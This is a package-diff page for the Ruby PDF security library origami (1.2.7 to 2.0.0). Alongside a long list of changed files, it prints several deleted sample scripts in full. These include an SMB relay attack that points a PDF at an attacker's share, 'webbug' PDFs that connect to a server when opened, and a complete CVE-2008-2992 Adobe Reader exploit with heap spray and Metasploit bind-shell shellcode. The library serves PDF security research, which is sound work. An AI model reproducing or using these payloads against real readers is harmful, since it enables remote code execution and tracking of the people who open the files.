origami 1.2.7 → 2.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (162) hide show
  1. checksums.yaml +4 -4
  2. data/CHANGELOG.md +66 -0
  3. data/README.md +112 -0
  4. data/bin/config/pdfcop.conf.yml +232 -233
  5. data/bin/gui/about.rb +27 -37
  6. data/bin/gui/config.rb +108 -117
  7. data/bin/gui/file.rb +416 -365
  8. data/bin/gui/gtkhex.rb +1138 -1153
  9. data/bin/gui/hexview.rb +55 -57
  10. data/bin/gui/imgview.rb +48 -51
  11. data/bin/gui/menu.rb +388 -386
  12. data/bin/gui/properties.rb +114 -130
  13. data/bin/gui/signing.rb +571 -617
  14. data/bin/gui/textview.rb +77 -95
  15. data/bin/gui/treeview.rb +382 -387
  16. data/bin/gui/walker.rb +227 -232
  17. data/bin/gui/xrefs.rb +56 -60
  18. data/bin/pdf2pdfa +53 -57
  19. data/bin/pdf2ruby +212 -228
  20. data/bin/pdfcop +338 -348
  21. data/bin/pdfdecompress +58 -65
  22. data/bin/pdfdecrypt +56 -60
  23. data/bin/pdfencrypt +75 -80
  24. data/bin/pdfexplode +185 -182
  25. data/bin/pdfextract +201 -218
  26. data/bin/pdfmetadata +83 -82
  27. data/bin/pdfsh +4 -5
  28. data/bin/pdfwalker +1 -2
  29. data/bin/shell/.irbrc +45 -82
  30. data/bin/shell/console.rb +105 -130
  31. data/bin/shell/hexdump.rb +40 -64
  32. data/examples/README.md +34 -0
  33. data/examples/attachments/attachment.rb +38 -0
  34. data/examples/attachments/nested_document.rb +51 -0
  35. data/examples/encryption/encryption.rb +28 -0
  36. data/{samples/actions/triggerevents/trigger.rb → examples/events/events.rb} +13 -16
  37. data/examples/flash/flash.rb +37 -0
  38. data/{samples → examples}/flash/helloworld.swf +0 -0
  39. data/examples/forms/javascript.rb +54 -0
  40. data/examples/forms/xfa.rb +115 -0
  41. data/examples/javascript/hello_world.rb +22 -0
  42. data/examples/javascript/js_emulation.rb +54 -0
  43. data/examples/loop/goto.rb +32 -0
  44. data/examples/loop/named.rb +33 -0
  45. data/examples/signature/signature.rb +65 -0
  46. data/examples/uri/javascript.rb +56 -0
  47. data/examples/uri/open-uri.rb +21 -0
  48. data/examples/uri/submitform.rb +47 -0
  49. data/lib/origami.rb +29 -42
  50. data/lib/origami/3d.rb +350 -225
  51. data/lib/origami/acroform.rb +262 -288
  52. data/lib/origami/actions.rb +268 -288
  53. data/lib/origami/annotations.rb +697 -722
  54. data/lib/origami/array.rb +258 -184
  55. data/lib/origami/boolean.rb +74 -84
  56. data/lib/origami/catalog.rb +397 -434
  57. data/lib/origami/collections.rb +144 -0
  58. data/lib/origami/destinations.rb +233 -194
  59. data/lib/origami/dictionary.rb +253 -232
  60. data/lib/origami/encryption.rb +1274 -1243
  61. data/lib/origami/export.rb +232 -268
  62. data/lib/origami/extensions/fdf.rb +307 -220
  63. data/lib/origami/extensions/ppklite.rb +368 -435
  64. data/lib/origami/filespec.rb +197 -0
  65. data/lib/origami/filters.rb +301 -295
  66. data/lib/origami/filters/ascii.rb +177 -180
  67. data/lib/origami/filters/ccitt.rb +528 -535
  68. data/lib/origami/filters/crypt.rb +26 -35
  69. data/lib/origami/filters/dct.rb +46 -52
  70. data/lib/origami/filters/flate.rb +95 -94
  71. data/lib/origami/filters/jbig2.rb +49 -55
  72. data/lib/origami/filters/jpx.rb +38 -44
  73. data/lib/origami/filters/lzw.rb +189 -183
  74. data/lib/origami/filters/predictors.rb +221 -235
  75. data/lib/origami/filters/runlength.rb +103 -104
  76. data/lib/origami/font.rb +173 -186
  77. data/lib/origami/functions.rb +67 -81
  78. data/lib/origami/graphics.rb +25 -21
  79. data/lib/origami/graphics/colors.rb +178 -187
  80. data/lib/origami/graphics/instruction.rb +79 -85
  81. data/lib/origami/graphics/path.rb +142 -148
  82. data/lib/origami/graphics/patterns.rb +160 -167
  83. data/lib/origami/graphics/render.rb +43 -50
  84. data/lib/origami/graphics/state.rb +138 -153
  85. data/lib/origami/graphics/text.rb +188 -205
  86. data/lib/origami/graphics/xobject.rb +819 -815
  87. data/lib/origami/header.rb +63 -78
  88. data/lib/origami/javascript.rb +596 -597
  89. data/lib/origami/linearization.rb +285 -290
  90. data/lib/origami/metadata.rb +139 -148
  91. data/lib/origami/name.rb +112 -148
  92. data/lib/origami/null.rb +53 -62
  93. data/lib/origami/numeric.rb +162 -175
  94. data/lib/origami/obfuscation.rb +186 -174
  95. data/lib/origami/object.rb +593 -573
  96. data/lib/origami/outline.rb +42 -47
  97. data/lib/origami/outputintents.rb +73 -82
  98. data/lib/origami/page.rb +703 -592
  99. data/lib/origami/parser.rb +238 -290
  100. data/lib/origami/parsers/fdf.rb +41 -33
  101. data/lib/origami/parsers/pdf.rb +75 -95
  102. data/lib/origami/parsers/pdf/lazy.rb +137 -0
  103. data/lib/origami/parsers/pdf/linear.rb +64 -66
  104. data/lib/origami/parsers/ppklite.rb +34 -70
  105. data/lib/origami/pdf.rb +1030 -1005
  106. data/lib/origami/reference.rb +102 -102
  107. data/lib/origami/signature.rb +591 -609
  108. data/lib/origami/stream.rb +668 -551
  109. data/lib/origami/string.rb +397 -373
  110. data/lib/origami/template/patterns.rb +56 -0
  111. data/lib/origami/template/widgets.rb +151 -0
  112. data/lib/origami/trailer.rb +144 -158
  113. data/lib/origami/tree.rb +62 -0
  114. data/lib/origami/version.rb +23 -0
  115. data/lib/origami/webcapture.rb +88 -79
  116. data/lib/origami/xfa.rb +2863 -2882
  117. data/lib/origami/xreftable.rb +472 -384
  118. data/test/dataset/calc.pdf +85 -0
  119. data/test/dataset/crypto.pdf +82 -0
  120. data/test/dataset/empty.pdf +49 -0
  121. data/test/test_actions.rb +27 -0
  122. data/test/test_annotations.rb +90 -0
  123. data/test/test_pages.rb +31 -0
  124. data/test/test_pdf.rb +16 -0
  125. data/test/test_pdf_attachment.rb +34 -0
  126. data/test/test_pdf_create.rb +24 -0
  127. data/test/test_pdf_encrypt.rb +95 -0
  128. data/test/test_pdf_parse.rb +96 -0
  129. data/test/test_pdf_sign.rb +58 -0
  130. data/test/test_streams.rb +182 -0
  131. data/test/test_xrefs.rb +67 -0
  132. metadata +88 -58
  133. data/README +0 -67
  134. data/bin/pdf2graph +0 -121
  135. data/bin/pdfcocoon +0 -104
  136. data/lib/origami/file.rb +0 -233
  137. data/samples/README.txt +0 -45
  138. data/samples/actions/launch/calc.rb +0 -87
  139. data/samples/actions/launch/winparams.rb +0 -22
  140. data/samples/actions/loop/loopgoto.rb +0 -24
  141. data/samples/actions/loop/loopnamed.rb +0 -21
  142. data/samples/actions/named/named.rb +0 -31
  143. data/samples/actions/samba/smbrelay.rb +0 -26
  144. data/samples/actions/webbug/submitform.js +0 -26
  145. data/samples/actions/webbug/webbug-browser.rb +0 -68
  146. data/samples/actions/webbug/webbug-js.rb +0 -67
  147. data/samples/actions/webbug/webbug-reader.rb +0 -90
  148. data/samples/attachments/attach.rb +0 -40
  149. data/samples/attachments/attached.txt +0 -1
  150. data/samples/crypto/crypto.rb +0 -28
  151. data/samples/digsig/signed.rb +0 -46
  152. data/samples/exploits/cve-2008-2992-utilprintf.rb +0 -87
  153. data/samples/exploits/cve-2009-0927-geticon.rb +0 -65
  154. data/samples/exploits/exploit_customdictopen.rb +0 -55
  155. data/samples/exploits/getannots.rb +0 -69
  156. data/samples/flash/flash.rb +0 -31
  157. data/samples/javascript/attached.txt +0 -1
  158. data/samples/javascript/js.rb +0 -52
  159. data/templates/patterns.rb +0 -66
  160. data/templates/widgets.rb +0 -173
  161. data/templates/xdp.rb +0 -92
  162. data/test/ts_pdf.rb +0 -50
@@ -1,26 +0,0 @@
1
- #!/usr/bin/ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- #
13
- # SMB relay attack.
14
- # Uses a GoToR action to open a shared network directory.
15
- #
16
-
17
- ATTACKER_SERVER = "localhost"
18
-
19
- pdf = PDF.read(ARGV[0])
20
-
21
- dst = ExternalFile.new("\\\\#{ATTACKER_SERVER}\\origami\\owned.pdf")
22
- gotor = Action::GoToR[dst, Destination::GlobalFit.new(0), true]
23
- pdf.pages.first.onOpen(gotor)
24
-
25
- pdf.save("#{File.basename($0, '.rb')}.pdf")
26
-
@@ -1,26 +0,0 @@
1
- try
2
- {
3
-
4
- app.alert("First, I try to launch your browser :)");
5
- app.launchURL("http://localhost/webbug-browser.html");
6
-
7
- }
8
- catch(e)
9
- {
10
- }
11
-
12
- try
13
- {
14
- app.alert("Now I try to connect to the website, through your Reader");
15
-
16
- this.submitForm(
17
- {
18
- cURL: "http://localhost/webbug-reader.php",
19
- bAnnotations: true,
20
- bGet: true,
21
- cSubmitAs: "XML"
22
- });
23
- }
24
- catch(e)
25
- {
26
- }
@@ -1,68 +0,0 @@
1
- #!/usr/bin/ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- OUTPUTFILE = "webbug-browser.pdf"
13
-
14
- puts "Now generating a new bugged PDF file from scratch!"
15
-
16
- URL = "http://localhost/webbug-browser.html"
17
-
18
- pdf = PDF.new
19
-
20
- contents = ContentStream.new
21
- contents.write "webbug-browser.pdf",
22
- :x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
23
-
24
- contents.write "When opened, this PDF connects to \"home\"",
25
- :x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
26
-
27
- contents.write "Click \"Allow\":",
28
- :x => 156, :y => 670, :size => 12
29
-
30
- contents.write " 1. Starts your default browser",
31
- :x => 156, :y => 650, :size => 12
32
-
33
- contents.write " 1. Connects to #{URL}",
34
- :x => 156, :y => 630, :size => 12
35
-
36
- contents.write "Comments:",
37
- :x => 75, :y => 580, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
38
-
39
- content = <<-EOS
40
- Windows:
41
- - Foxit : opens the default browser without any user confirmation (!)
42
- - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Internet Explorer is connected.
43
-
44
-
45
- Mac:
46
- - Preview: nothing happens
47
- - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Safari is connected
48
-
49
- Linux:
50
- - poppler: nothing happens
51
- - Acrobat Reader [7, 8]: a pop-up spreads asking if it can connect
52
-
53
-
54
- EOS
55
-
56
- contents.write content,
57
- :x => 75, :y => 560, :rendering => Text::Rendering::FILL
58
-
59
-
60
- page = Page.new.setContents( contents )
61
- pdf.append_page(page)
62
-
63
- # Starting action
64
- pdf.onDocumentOpen Action::URI[URL]
65
-
66
- pdf.save(OUTPUTFILE)
67
-
68
- puts "PDF file saved as #{OUTPUTFILE}."
@@ -1,67 +0,0 @@
1
- #!/usr/bin/ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- OUTPUTFILE = "webbug-js.pdf"
13
- JSCRIPTFILE = "submitform.js"
14
-
15
- puts "Now generating a new PDF file from scratch!"
16
-
17
- contents = ContentStream.new.setFilter(:FlateDecode)
18
- contents.write OUTPUTFILE,
19
- :x => 300, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
20
-
21
- contents.write "This PDF tries to connect through JavaScript calls :-D",
22
- :x => 186, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
23
-
24
- contents.write "The script first tries to run your browser, then it connects with the Reader.",
25
- :x => 186, :y => 670, :size => 15
26
-
27
- contents.write "Comments:",
28
- :x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
29
-
30
- content = <<-EOS
31
- Windows:
32
- - Acrobat Reader 8: Same behavior as with webbug-browser.pdf and webbug-reader.pdf.
33
- - Foxit: Same behavior as with webbug-browser.pdf and webbug-reader.pdf, at the difference a popup appears
34
- to ask for user confirmation before launching the browser. However the reader still connects to the site without
35
- confirmation, as with webbug-reader.pdf
36
-
37
- Mac:
38
-
39
- Linux:
40
- - Acrobat Reader 8: same behavior as Windows version.
41
- - poppler-based viewers: not interpreting JavaScript : nothing happens.
42
-
43
- EOS
44
-
45
- contents.write content,
46
- :x => 75, :y => 600, :rendering => Text::Rendering::FILL
47
-
48
- # A JS script to execute at the opening of the document
49
- jscript = File.open(JSCRIPTFILE).read
50
-
51
- pdf = PDF.new
52
-
53
- page = Page.new
54
- page.Contents = contents
55
-
56
- pdf.append_page(page)
57
-
58
- # Create a new action based on the script, compressed with zlib
59
- jsaction = Action::JavaScript Stream.new(jscript,:Filter => :FlateDecode)
60
-
61
- # Add the script into the document names dictionary. Any scripts registered here will be executed at the document opening (with no OpenAction implied).
62
- pdf.register(Names::Root::JAVASCRIPT, "Update", jsaction)
63
-
64
- # Save the resulting file
65
- pdf.save(OUTPUTFILE)
66
-
67
- puts "PDF file saved as #{OUTPUTFILE}."
@@ -1,90 +0,0 @@
1
- #!/usr/bin/ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- OUTPUTFILE = "webbug-reader.pdf"
13
-
14
- URL = "http://localhost/webbug-reader.php"
15
-
16
- puts "Now generating a new bugged PDF file from scratch!"
17
-
18
- pdf = PDF.new
19
-
20
- contents = ContentStream.new
21
- contents.write "webbug-reader.pdf",
22
- :x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
23
-
24
- contents.write "When opened, this PDF connects to \"home\"",
25
- :x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
26
-
27
- contents.write "Click \"Allow\" to connect to #{URL} through your current Reader.",
28
- :x => 156, :y => 670, :size => 12
29
-
30
-
31
- contents.write "Comments:",
32
- :x => 75, :y => 600, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
33
-
34
-
35
- content = <<-EOS
36
- 1. Open this pdf document (webbug-reader.pdf)
37
- 2. The Reader connects to ${url}
38
- 3. The web server returns the requested page:
39
- <?php
40
- header('Content-type: application/pdf');
41
- readfile('calc.pdf');
42
- ?>
43
- 4. The Reader receives \"calc.pdf\" which is immediatly rendered
44
- 5. A pop-up ask if it can execute the calc...
45
-
46
- Note: The URL where the Reader tries to connect is displayed
47
-
48
-
49
-
50
- Windows:
51
- - Foxit : Nothing happens.
52
- - Acrobat Reader 8: a popup appears for the user to allow the connection,
53
- then the connection is made and a new window is opened with the 2nd document
54
-
55
- Mac:
56
- - Preview: nothing happens
57
- - Acrobat Reader 8: a popup appears for the user to allow the connection,
58
- then the connection is made and a new window is opened with the 2nd document
59
-
60
- Linux:
61
- - poppler: /SubmitForm is not supported
62
- - Acrobat Reader 8: a popup appears for the user to allow the connection,
63
- then the connection is made and a the document window is replaced with the 2nd document
64
- Note: The 2 documents can be seen in the\"Window\" menu.
65
- - Acrobat Reader 8: a popup appears for the user to allow the connection,
66
- then the connection is made and a new window is opened with the 2nd document
67
-
68
-
69
- EOS
70
-
71
- contents.write content,
72
- :x => 75, :y => 580, :rendering => Text::Rendering::FILL, :size => 12
73
-
74
- page = Page.new.setContents( contents )
75
- pdf.append_page( page )
76
-
77
- # Submit flags.
78
- flags = Action::SubmitForm::Flags::EXPORTFORMAT|Action::SubmitForm::Flags::GETMETHOD
79
-
80
- # Sends the form at the document opening.
81
- pdf.onDocumentOpen Action::SubmitForm[URL, [], flags]
82
-
83
- # Comments:
84
- # - any port can be specified http://url:1234
85
- # - does not follow the Redirect answers
86
-
87
- # Save the resulting file.
88
- pdf.save(OUTPUTFILE)
89
-
90
- puts "PDF file saved as #{OUTPUTFILE}."
@@ -1,40 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- INPUTFILE = "attached.txt"
13
- OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
14
-
15
- puts "Now generating a new PDF file from scratch!"
16
-
17
- # Creating a new file
18
- pdf = PDF.new
19
-
20
- # Embedding the file into the PDF.
21
- pdf.attach_file(INPUTFILE,
22
- :EmbeddedName => "README.txt",
23
- :Filter => :ASCIIHexDecode
24
- )
25
-
26
- contents = ContentStream.new
27
- contents.write "File attachment sample",
28
- :x => 250, :y => 750, :rendering => Text::Rendering::FILL, :size => 30
29
-
30
- pdf.append_page Page.new.setContents(contents)
31
-
32
- pdf.onDocumentOpen Action::JavaScript <<JS
33
- this.exportDataObject({cName:"README.txt", nLaunch:2});
34
- JS
35
-
36
-
37
- pdf.save(OUTPUTFILE)
38
-
39
- puts "PDF file saved as #{OUTPUTFILE}."
40
-
@@ -1 +0,0 @@
1
- ***THIS IS THE EMBEDDED FILE***
@@ -1,28 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
13
-
14
- puts "Now generating a new PDF file from scratch!"
15
-
16
- # Creates an encrypted document with AES256 and a null password.
17
- pdf = PDF.new.encrypt(:cipher => 'aes', :key_size => 256)
18
-
19
- contents = ContentStream.new
20
- contents.write "Crypto sample",
21
- :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
22
-
23
- pdf.append_page Page.new.setContents(contents)
24
-
25
- pdf.save(OUTPUTFILE)
26
-
27
- puts "PDF file saved as #{OUTPUTFILE}."
28
-
@@ -1,46 +0,0 @@
1
- #!/usr/bin/ruby
2
-
3
- require 'openssl'
4
-
5
- begin
6
- require 'origami'
7
- rescue LoadError
8
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
9
- $: << ORIGAMIDIR
10
- require 'origami'
11
- end
12
- include Origami
13
-
14
- OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
15
- CERTFILE = "test.crt"
16
- RSAKEYFILE = "test.key"
17
-
18
- contents = ContentStream.new.setFilter(:FlateDecode)
19
- contents.write OUTPUTFILE,
20
- :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
21
-
22
- pdf = PDF.new
23
- page = Page.new.setContents(contents)
24
- pdf.append_page(page)
25
-
26
- # Open certificate files
27
- cert = OpenSSL::X509::Certificate.new(File.open(CERTFILE).read)
28
- key = OpenSSL::PKey::RSA.new(File.open(RSAKEYFILE).read)
29
-
30
- sigannot = Annotation::Widget::Signature.new
31
- sigannot.Rect = Rectangle[:llx => 89.0, :lly => 386.0, :urx => 190.0, :ury => 353.0]
32
-
33
- page.add_annot(sigannot)
34
-
35
- # Sign the PDF with the specified keys
36
- pdf.sign(cert, key,
37
- :method => 'adbe.pkcs7.sha1',
38
- :annotation => sigannot,
39
- :location => "France",
40
- :contact => "fred@security-labs.org",
41
- :reason => "Proof of Concept"
42
- )
43
-
44
- # Save the resulting file
45
- pdf.save(OUTPUTFILE)
46
-
@@ -1,87 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- begin
4
- require 'origami'
5
- rescue LoadError
6
- ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
7
- $: << ORIGAMIDIR
8
- require 'origami'
9
- end
10
- include Origami
11
-
12
- pdf = PDF.read(ARGV[0])
13
-
14
- # win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
15
- win32_bin = "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73%u684f%u3956%u386f%u4350"
16
-
17
-
18
- # linux/x86/shell_bind_tcp - 105 bytes
19
- # http://www.metasploit.com
20
- # Encoder: x86/shikata_ga_nai
21
- # AppendExit=false, PrependSetresuid=false,
22
- # PrependSetuid=false, LPORT=4444, RHOST=,
23
- # PrependSetreuid=false
24
- linux_bin = "%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd"
25
-
26
- shellcode = linux_bin
27
-
28
- jscript = %Q|
29
- /*
30
- From: http://www.milw0rm.com/exploits/7006
31
-
32
- Adobe Reader Javascript Printf Buffer Overflow Exploit
33
- ===========================================================
34
- Reference: http://www.coresecurity.com/content/adobe-reader-buffer-overflow
35
- CVE-2008-2992
36
-
37
- Thanks to coresecurity for the technical background.
38
-
39
- 6Nov,2008: Exploit released by me
40
-
41
- Credits: Debasis Mohanty
42
- www.hackingspirits.com
43
- www.coffeeandsecurity.com
44
- ===========================================================
45
-
46
- //Exploit by Debasis Mohanty (aka nopsledge/Tr0y)
47
- //www.coffeeandsecurity
48
- //www.hackingspirits.com
49
- */
50
-
51
- app.alert("Prepare the spray");
52
-
53
- var shellcode = unescape("#{shellcode}");
54
-
55
- //Heap Spray starts here - Kiddos dont mess up with this
56
- var nop ="";
57
- for (i = 128;i >= 0; --i) nop += unescape("%u9090%u9090%u9090%u9090%u9090");
58
- heapblock = nop + shellcode;
59
-
60
- bigblock = unescape("%u9090%u9090");
61
- headersize = 20;
62
- spray = headersize+heapblock.length
63
- while (bigblock.length<spray) bigblock+=bigblock;
64
-
65
- fillblock = bigblock.substring(0, spray);
66
- block = bigblock.substring(0, bigblock.length-spray);
67
-
68
- while(block.length+spray < 0x40000) block = block+block+fillblock;
69
-
70
- mem = new Array();
71
- for (i=0;i<1400;i++) mem[i] = block + heapblock;
72
-
73
- app.alert("Pull the trigger");
74
-
75
- // reference snippet from core security
76
- // http://www.coresecurity.com/content/adobe-reader-buffer-overflow
77
-
78
- var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
79
- util.printf("%45000f",num);
80
- // util.printf("%45000.45000f", 0);
81
-
82
- |
83
-
84
- exploit = Action::JavaScript Stream.new(jscript)
85
- pdf.onDocumentOpen( exploit )
86
- pdf.save("#{File.basename($0, '.rb')}.pdf")
87
-